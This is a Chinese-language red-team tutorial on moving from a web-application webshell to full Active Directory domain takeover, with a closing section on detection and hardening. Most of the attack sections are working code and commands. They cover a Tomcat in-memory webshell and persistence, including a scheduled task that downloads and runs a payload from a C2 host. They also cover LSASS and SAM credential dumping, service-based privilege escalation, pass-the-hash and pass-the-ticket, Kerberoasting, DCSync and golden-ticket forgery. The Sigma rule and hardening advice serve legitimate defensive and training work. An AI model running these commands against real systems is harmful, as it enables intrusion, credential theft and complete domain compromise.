目录


1. 背景

在企业红队评估中,攻击者往往无法直接获得域内高权限账户,而是从一个暴露在公网的 Web 应用漏洞切入,以一个低权限的 Webshell 作为起点,逐步完成立足 → 提权 → 横向 → 域控接管的完整链条。这条链路的可怕之处在于:每一个环节的"小问题"——一个文件上传、一个服务配置错误、一个过度委派的账户——都会被攻击者串联成一条通往域控的高速公路。

本文覆盖 MITRE ATT&CK 框架中的多个关键技术点:

阶段 ATT&CK 技术 编号
初始立足 Exploit Public-Facing Application T1190
持久化 Boot or Logon Autostart Execution T1547
凭据提取 OS Credential Dumping: LSASS / SAM T1003.001 / T1003.002
提权 Abuse Elevation Control Mechanism T1548
横向移动 Pass the Hash / Pass the Ticket T1550.002 / T1550.003
域信息收集 Domain Trust Discovery T1482
Kerberos 攻击 AS-REP Roasting / Kerberoasting T1558.004 / T1558.003
域控接管 DCSync / Golden Ticket T1003.006 / T1558.001

2. 攻击链全景图

┌─────────────────────────────────────────────────────────────────────┐
│                        红队内网攻击链全景                            │
└─────────────────────────────────────────────────────────────────────┘

  [公网暴露 Web 应用]
         │
         │  文件上传 / RCE / 反序列化
         ▼
  ┌──────────────┐
  │ Webshell 落点 │ ◄── T1190 初始立足
  └──────┬───────┘
         │
         ▼
  ┌──────────────────┐     ┌─────────────────────┐
  │ 本机信息收集      │ ──► │ 本机提权             │
  │ whoami/systeminfo │     │ 服务配置/DLL劫持     │
  └──────┬───────────┘     └─────────┬───────────┘
         │                            │
         ▼                            ▼
  ┌──────────────────┐     ┌─────────────────────┐
  │ 凭据获取          │ ◄── │ LSASS dump / SAM    │
  │ 明文/哈希/票据    │     │ 注册表转储           │
  └──────┬───────────┘     └─────────────────────┘
         │
         ▼
  ┌──────────────────┐     ┌─────────────────────┐
  │ 内网信息收集      │ ──► │ 横向移动             │
  │ 端口/SMB/LDAP    │     │ PtH / PtT / WMI     │
  └──────┬───────────┘     └─────────┬───────────┘
         │                            │
         ▼                            ▼
  ┌──────────────────┐     ┌─────────────────────┐
  │ 域信息收集        │ ──► │ Kerberos 攻击        │
  │ BloodHound/ADFind│     │ AS-REP/Kerberoasting │
  └──────┬───────────┘     └─────────┬───────────┘
         │                            │
         ▼                            ▼
  ┌──────────────────────────────────────────────┐
  │ 域控接管                                       │
  │ DCSync → Golden/Silver Ticket → 全域沦陷      │
  └──────────────────────────────────────────────┘

  检测面:4624 / 4672 / 4768 / 4769 / 4662 / LSASS 访问 / 异常 RPC

3. 第一阶段:Webshell 落点与初始立足

3.1 Web 漏洞利用获得 Webshell

初始入口通常是以下三类漏洞之一:

  • 文件上传漏洞:未校验后缀 / Content-Type / 文件头,或通过 .htaccess、解析漏洞绕过;
  • RCE 漏洞:命令注入(Struts2 OGNL、Spring SpEL)、模板注入(Freemarker SSTI);
  • 反序列化漏洞:Java(Fastjson、Shiro、WebLogic)、.NET(ViewState、BinaryFormatter)。

以 Java 反序列化为例,攻击者通过 ysoserial 生成 payload 后投递,回弹一个基于内存的 Webshell(如冰蝎 / 哥斯拉的内存马),避免落盘被文件查杀拦截:

// 内存马核心思路:注册恶意 Filter / Servlet 到 Tomcat StandardContext
// 关键:不落盘、重启即消失,难以通过文件系统检测
Field reqField = request.getClass().getDeclaredField("request");
reqField.setAccessible(true);
Request req = (Request) reqField.get(request);
StandardContext context = (StandardContext) req.getContext();

// 动态注册 Filter
Filter filter = new Filter() {
    public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) {
        String cmd = req.getParameter("cmd");
        if (cmd != null) {
            // 执行命令并回显
        }
        chain.doFilter(req, res);
    }
    // ... 省略 init / destroy
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("evil");
context.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("evil");
filterMap.addURLPattern("/*");
context.addFilterMap(filterMap);

3.2 Webshell 权限评估

落点后第一步是评估当前权限上下文,判断是否为服务账户(可能已是域账户)、是否具备特权:

whoami /all
whoami /priv
whoami /groups
hostname
ipconfig /all
systeminfo | findstr /B /C:"OS" /C:"System Type"

重点关注以下信息:

  • 权限:SeDebugPrivilege(可直接读 LSASS)、SeImpersonatePrivilege(可 Potato 提权);
  • 组:是否在 IIS_IUSRS、NETWORK SERVICE、LOCAL SERVICE,是否已是域成员;
  • 网络:是否双网卡(一张对外、一张对内),DNS 是否指向域控。

3.3 持久化

为防止会话中断丢失立足点,红队通常会做轻量持久化:

:: 方式1:隐藏 Webshell(ADS 数据流,dir 看不到)
type shell.aspx > "C:\inetpub\wwwroot\legit.aspx:evil.aspx"

:: 方式2:注册表自启(HKCU / HKLM Run 键)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Update /t REG_SZ /d "powershell -w hidden -enc <base64>" /f

:: 方式3:计划任务(每 30 分钟回连 C2)
schtasks /create /tn "SystemUpdate" /tr "powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://c2/payload.ps1')" /sc minute /mo 30 /ru SYSTEM

检测点:ADS 可通过 dir /r 或 Sysmon Event ID 11(文件创建)配合 :.* 模式检测;计划任务创建对应 Sysmon Event ID 1(进程创建)+ 命令行审计。


4. 第二阶段:本机信息收集与提权

4.1 系统信息收集

:: 系统版本、补丁情况(判断可利用提权漏洞)
systeminfo
wmic qfe list brief

:: 网络拓扑(路由表、ARP、监听端口、已建立连接)
route print
arp -a
netstat -ano
ipconfig /all

:: 进程与服务(寻找以 SYSTEM 运行的高权限进程、第三方服务)
tasklist /svc
wmic service list brief | findstr "Running"

:: 已安装软件(识别可能存在漏洞的第三方应用)
wmic product get name,version

补丁缺失对照是提权的关键。例如 KB5001337 缺失可能存在 PrintNightmare(CVE-2021-1675),KB4577670 缺失可能存在 SMBGhost(CVE-2020-0796)。

4.2 凭据提取

4.2.1 LSASS 内存转储

LSASS(Local Security Authority Subsystem Service)进程内存中缓存了大量凭据:NTLM 哈希、Kerberos 票据、明文密码(取决于 WDigest 配置)。多种 dump 方式的对比:

# 方法1:procdump(合规工具,签名绕过大部分 EDR)
procdump.exe -accepteula -ma lsass.exe lsass.dmp

# 方法2:PowerShell + MiniDumpWriteDump(不落盘可执行文件,纯托管调用)
$signature = @"
[DllImport("dbghelp.dll")]
public static extern bool MiniDumpWriteDump(IntPtr hProcess, uint ProcessId, 
    IntPtr hFile, uint DumpType, IntPtr ExceptionParam, 
    IntPtr UserStreamParam, uint UserStreamParamSize);
"@
$type = Add-Type -MemberDefinition $signature -Name "MiniDump" -Namespace "Win32" -PassThru
$process = Get-Process lsass
$file = [System.IO.File]::Create("C:\Temp\lsass.dmp")
$type::MiniDumpWriteDump($process.Handle, $process.Id, $file.SafeFileHandle.DangerousGetHandle(), 2, [IntPtr]::Zero, [IntPtr]::Zero, 0)
$file.Close()

# 方法3:comsvcs.dll(LOLBIN,系统自带 DLL,隐蔽性高)
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id C:\Temp\lsass.dmp full

# 提取凭据
# mimikatz: sekurlsa::logonpasswords
# pypykatz(Python版): pypykatz lsa minidump lsass.dmp

三种方式的检测特征对比:

方式 落盘可执行文件 检测特征
procdump 是(需上传) 进程名 procdump.exe + 命令行含 lsass
PowerShell MiniDump 否 PowerShell 进程访问 lsass.exe 句柄(Sysmon Event 10)
comsvcs.dll 否 rundll32 + comsvcs.dll + MiniDump 命令行模式

4.2.2 注册表 SAM/SECURITY 转储

当 LSASS 受 Credential Guard 保护无法直接 dump 时,可转储注册表 hive 离线提取:

:: 使用 reg save(需 SYSTEM 权限)
reg save hklm\sam C:\Temp\sam.hive
reg save hklm\system C:\Temp\system.hive
reg save hklm\security C:\Temp\security.hive

:: 使用 esentutl(NTDS.dit 提取的替代方案)
esentutl.exe /y /vss c:\Windows\NTDS\ntds.dit /d c:\Temp\ntds.dit

:: 离线提取
# impacket
secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL

4.3 本机提权

常见的非漏洞类提权路径(配置错误,无需 Exp):

Unquoted Service Path(未引用服务路径):

当服务可执行路径含空格且未加引号(如 C:\Program Files\My Service\svc.exe),Windows 会依次尝试 C:\Program.exe、C:\Program Files\My.exe,若攻击者可在该目录写文件,即可提权:

:: 查找未引用服务路径
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"

:: 检查目标目录写权限
accesschk.exe -w -u "Users" "C:\Program Files\"

服务权限配置错误:

:: 枚举可被普通用户修改的服务
accesschk.exe -uwcqv "Authenticated Users" *

:: 修改服务 binPath 执行命令(提权到 SYSTEM)
sc config vulnerable_svc binpath= "cmd.exe /c net localgroup administrators user /add"
sc stop vulnerable_svc
sc start vulnerable_svc

DLL 劧持: 识别 SYSTEM 权限服务加载的、不在系统保护目录下的 DLL,放置同名校的恶意 DLL 实现提权。

若拥有 SeImpersonatePrivilege(IIS / SQL Server 服务账户常见),可使用 Potato 系列工具(RoguePotato / PrintSpoofer / GodPotato)直接提权至 SYSTEM。


5. 第三阶段:内网横向移动

5.1 网络发现

拿到本机凭据后,攻击者开始在内网进行横向侦察:

# 端口扫描(fscan 一键扫描内网存活与常见端口)
fscan -h 10.10.10.0/24

# SMB 枚举(探测共享、会话)
enum4linux-ng -A 10.10.10.20
smbclient -L //10.10.10.20/ -U 'guest%'

# LDAP 查询(域内信息)
# 匿名 LDAP 查询(若未限制)
ldapsearch -x -H ldap://10.10.10.10 -s base -b "" "(objectclass=*)"

# 域内用户/计算机枚举
ldapsearch -x -H ldap://dc01.corp.local -b "DC=corp,DC=local" "(objectCategory=user)" sAMAccountName memberOf
ldapsearch -x -H ldap://dc01.corp.local -b "DC=corp,DC=local" "(objectCategory=computer)" name operatingSystem

5.2 传递哈希(Pass-the-Hash, PtH)

当拿到 NTLM 哈希但无法破解出明文时,可直接用哈希进行 NTLM 认证(无需破解)。这是内网横向最核心的技术之一。

# Pass-the-Hash 横向移动
# Impacket 工具链
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:NTHASH domain/user@target

python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:NTHASH domain/user@target

python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:NTHASH domain/user@target

# CrackMapExec 批量验证(大规模横向)
crackmapexec smb 10.10.10.0/24 -u username -H NTHASH --shares

# WMI 横向移动(不走 SMB,绕过部分检测)
wmic /node:10.10.10.20 /user:domain\user /password:pass process call create "cmd.exe /c whoami > \\attacker\share\output.txt"

PtH 的本质:NTLM 协议在认证过程中使用哈希而非明文作为"证明",因此拥有哈希等价于拥有密码。三种 Impacket 执行方式的区别:

工具 执行机制 特征
psexec.py 创建服务执行命令 落地 RemCom_* 临时文件,留服务日志
wmiexec.py WMI Win32_Process.Create 半交互式,通过 SMB 回传输出,无服务创建
smbexec.py 创建临时服务 + 命名管道回传 与 psexec 类似但更隐蔽

5.3 传递票据(Pass-the-Ticket, PtT)

当拿到 Kerberos 票据(TGT / TGS)而非哈希时,可直接注入票据访问目标服务,完全绕过 AS-REQ 的预身份验证环节:

# Mimikatz 注入票据
mimikatz "kerberos::ptt ticket.kirbi" exit

# Rubeus(C# 实现,更隐蔽)
Rubeus.exe ptt /ticket:base64_ticket

# 验证票据已注入
klist

# 访问目标
dir \\dc01.corp.local\c$

5.4 Overpass-the-Hash

将 NTLM 哈希"升级"为完整的 Kerberos TGT,以绕过仅允许 Kerberos 认证(禁用 NTLM)的环境:

# Rubeus:用哈希请求 TGT
Rubeus.exe asktgt /user:username /domain:corp.local /rc4:NTHASH /nowrap

# Mimikatz 等价操作
mimikatz "sekurlsa::pth /user:username /domain:corp.local /ntlm:NTHASH /run:powershell.exe" exit
# 在弹出的 PowerShell 中执行 klist 触发 Kerberos 流程,获得 TGT

6. 第四阶段:域信息收集与 Kerberos 攻击

6.1 AD 域信息收集

进入域环境后,首要任务是绘制域内"攻击路径图"——谁是域管、哪些账户有 DCSync 权限、是否存在 Kerberos 委派风险。

# BloodHound 数据采集(SharpHound)
SharpHound.exe -c All --zipfilename bloodhound.zip
# 或 PowerShell 版
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp\

# PowerView 手动枚举
# 查询域管组成员
Get-NetGroupMember -GroupName "Domain Admins" -Domain corp.local

# 查询所有域控
Get-NetDomainController

# 查询会话(谁登录在哪台机器上,定位域管活动位置)
Get-NetSession -ComputerName fileserver01

# ADFind(命令行域枚举)
adfind -h dc01.corp.local -b "DC=corp,DC=local" -f "objectcategory=computer" name operatingSystem
adfind -h dc01.corp.local -b "DC=corp,DC=local" -f "(memberof=CN=Domain Admins,*)" distinguishedName

BloodHound 的价值在于其图数据库能自动计算从当前权限到 Domain Admins 的最短攻击路径,例如通过 Kerberos 约束委派、WriteDACL、AddMember 等 ACL 滥用路径。

6.2 AS-REP Roasting

针对禁用预身份验证(Do not require Kerberos preauthentication)的域账户,攻击者无需任何凭据即可请求其 AS-REP 报文,其中包含用该账户密码加密的会话密钥,离线破解可得明文密码。

# Impacket GetNPUsers(已知用户名列表)
python3 GetNPUsers.py corp.local/ -no-pass -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat

# Rubeus(域内已获得立足点)
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt

# hashcat 离线破解
hashcat -m 18200 asrep.txt rockyou.txt

6.3 Kerberoasting

任何域用户都可请求注册了 SPN(ServicePrincipalName)的服务账户的 TGS 票据,该票据用服务账户的密码哈希加密,可离线破解。攻击者只需一个普通域账户即可发起。

# Impacket GetUserSPNs
python3 GetUserSPNs.py corp.local/user:password -dc-ip 10.10.10.10 -request

# Rubeus
Rubeus.exe kerberoast /outfile:kerb.txt /domain:corp.local

# Mimikatz
mimikatz "kerberos::list /export" exit

# hashcat 破解(RC4-HMAC 类型 13100)
hashcat -m 13100 kerb.txt rockyou.txt

Kerberoasting 的防御难点:这是 Kerberos 协议的"正常功能",无法完全禁止。关键在于确保服务账户使用长且随机的密码(25 字符以上),使离线破解不可行。

6.4 DCSync 攻击

拥有 DS-Replication-Get-Changes 和 DS-Replication-Get-Changes-All 权限的账户(Domain Admins、Exchange/AD Connect 服务账户等)可模拟域控,通过 DRSUAPI 远程拉取域内任意用户的哈希,包括 krbtgt。

# DCSync 攻击(需要 DCSync 权限,通常为 Domain Admins 或已委派的账户)
# Mimikatz
mimikatz.exe "lsadump::dcsync /domain:corp.local /user:krbtgt" exit

# Impacket secretsdump
python3 secretsdump.py -just-dc domain/admin:password@DC_IP

# PowerView
Invoke-DCSync -Domain corp.local -User krbtgt

DCSync 的核心是调用 IDL_DRSGetNCChanges RPC 接口,域控之间本就用此接口同步目录数据。攻击者伪造一个域控身份发起请求,真实域控便会"乖乖"返回完整哈希。

6.5 黄金票据与白银票据

拿到 krbtgt 账户哈希后,可伪造任意用户的 TGT(黄金票据),实现全域持久化后门。即使域管密码全部重置,只要 krbtgt 未更改两次(历史哈希仍有效),攻击者仍可随时重返。

# 黄金票据:使用 krbtgt 哈希伪造 TGT
mimikatz.exe "kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX /krbtgt:KRBTGT_NTHASH /groups:512,513,514,518,519 /ticket:golden.kirbi /ptt" exit

# 白银票据:使用服务账户哈希伪造 TGS
mimikatz.exe "kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX /target:dc01.corp.local /service:cifs /rc4:SERVICE_NTHASH /ticket:silver.kirbi /ptt" exit

# 使用伪造票据访问域控
klist  # 查看当前票据
dir \\dc01.corp.local\c$

黄金票据与白银票据的关键区别:

维度 黄金票据 (Golden) 白银票据 (Silver)
伪造对象 TGT(由 KDC 签发) TGS(由服务签发)
所需哈希 krbtgt 账户哈希 服务账户哈希
影响范围 整个域所有服务 单个服务(如 CIFS/LDAP/MSSQL)
是否经过 KDC 是(但不验证) 否(直接与服务交互)
检测难度 较易(TGT 异常字段) 较难(无 KDC 交互日志)

7. 检测与加固方案

7.1 关键检测事件

事件 ID 日志名称 含义 攻击阶段
4624 Security 登录成功(类型 3 网络登录、类型 10 远程交互) 横向移动
4672 Security 特权账户登录(含 SeDebugPrivilege 等) 提权 / 域管活动
4768 Security TGT 请求(Kerberos AS-REQ) Kerberos 攻击
4769 Security TGS 请求(Kerberos TGS-REQ) Kerberoasting
4662 Security 目录对象操作(DRSUAPI 复制) DCSync
10 Sysmon 进程访问(lsass.exe 被读) LSASS dump
1 Sysmon 进程创建(命令行审计) 全链路

DCSync 检测规则(Sigma 格式示例):

title: DCSync Attack via DRSUAPI
status: experimental
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4662
        Properties:
            - '*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*'  # DS-Replication-Get-Changes
            - '*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*'  # DS-Replication-Get-Changes-All
    filter:
        SubjectUserName|contains:
            - '$'           # 域控机器账户
            - 'NT AUTHORITY'
    condition: selection and not filter
fields:
    - SubjectUserName
    - SubjectIpAddress
falsepositives:
    - 合法域控复制
level: critical

7.2 EDR 规则要点

  • LSASS 访问监控:Sysmon Event 10,监控非系统进程访问 lsass.exe,按进程签名、访问掩码(PROCESS_VM_READ)分级告警;
  • 凭证操作命令行:匹配 procdump、MiniDump、comsvcs、sekurlsa::、lsadump:: 等关键字;
  • 异常 RPC 调用:非域控主机发起 DRSUAPI 绑定请求;
  • 票据异常:TGT 中加密类型为 RC4(环境已升级 AES 时)、票据签发时间与当前偏差过大。

7.3 加固方案

1. LSASS 保护(Credential Guard):

# 启用 Credential Guard(Windows 10 1703+ / Server 2019+)
# 通过组策略:Computer Configuration > Administrative Templates > System > Device Guard
# 或通过注册表 + DG ready 脚本
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LsaCfgFlags /t REG_DWORD /d 1 /f
# Credential Guard 将 LSASS 中的凭据用 VBS 隔离,dump 出来均为无效值

2. Tiered Admin 分层模型(AD 三层架构):

┌─────────────────────────────────────────────┐
│  Tier 0: 域控 / 林根 (krbtgt / DC)          │  ← 最高权限,严禁从低层登录
├─────────────────────────────────────────────┤
│  Tier 1: 关键服务器 (文件/数据库/应用)      │  ← 独立管理员账户
├─────────────────────────────────────────────┤
│  Tier 2: 工作站 / 用户终端                  │  ← 日常账户
└─────────────────────────────────────────────┘
  规则:高层账户永不在低层主机登录(防凭据沉淀)
        低层账户永不在高层主机登录(防提权跳板)

3. 协议加固:

  • 禁用 SMBv1(Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol);
  • 限制 WMI over DCOM,改用 WinRM(配置允许的管理员白名单);
  • 启用 SMB 签名与加密(RequireSecuritySignature);
  • LDAP 签名与 Channel Binding(防 LDAP 中继)。

4. Kerberos 策略加固:

# 强制 AES 加密类型,禁用 RC4
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\Parameters" /v SupportedEncryptionTypes /t REG_DWORD /d 0x7FFFFFFF /f

# 设置 Kerberos 票据生命周期缩短(默认 10h,可调至 4h)
# 通过组策略:Computer Configuration > Policies > Windows Settings > Security Settings > Account Policies > Kerberos Policy

5. 账户加固:

  • 服务账户(SPN 账户)使用 25 字符以上随机密码,或迁移至 gMSA(组托管服务账户)自动轮换;
  • 定期审计 DCSync 权限持有者,移除非必要委派(Get-ADUser -Filter * -Properties * | Where-Object {$_.msDS-ReplAttributeMetaData});
  • 对高权限账户启用 PAW(Privileged Access Workstation)隔离。

8. 总结

从 Webshell 到域控,这条攻击链的核心逻辑是逐层积累凭据与权限:

  1. 初始立足阶段,一个 Web 漏洞即可获得内网跳板,权限评估决定了后续攻击面大小;
  2. 本机提权阶段,配置错误往往比 0day 更致命——SeImpersonatePrivilege、服务权限错配是常见突破口;
  3. 凭据提取阶段,LSASS 内存是最大的凭据宝库,Credential Guard 是最强单点防御;
  4. 横向移动阶段,PtH 与 PtT 使攻击者无需破解密码即可在网络中自由穿梭;
  5. 域控接管阶段,DCSync 与 Golden Ticket 将局部权限放大为全域沦陷,且极难彻底清除。

防御层面,单点防御无法阻断整条链路,必须构建纵深体系:入口加固(WAF / 代码审计)阻止 Webshell 落点 → 端点防护(Credential Guard / EDR)减缓凭据泄露 → 网络分段(微隔离 / Tiered Model)限制横向移动 → 域层加固(权限最小化 / Kerberos AES / 审计告警)提升域控接管门槛。每一层防御不一定能完全阻断攻击,但能显著增加攻击者的时间成本与噪声,最终使攻击链在某一环断裂。

红队评估的价值正在于此——在真实攻击者到来之前,找到那条尚未断裂的链条并加固它。


9. 免责声明

本文仅用于授权安全测试、红队评估与防御研究的技术复盘与学习交流。文中涉及的所有攻击技术、命令与代码示例,仅可在获得明确书面授权的测试环境中使用。未经授权对任何非自有系统实施本文所述技术,均属违法行为,可能触犯《中华人民共和国网络安全法》《刑法》第二百八十五条(非法侵入计算机信息系统罪)等相关法律法规。

读者应确保自身行为符合当地法律法规与目标系统的授权范围。作者与发布平台不对任何人因不当使用本文内容而导致的任何法律后果承担责任。技术本身是中性的,关键在于使用者的意图与授权边界。

如需在企业环境中验证本文所述检测规则,请联系持有合法资质的安全服务商,在签署授权协议的受控环境下进行。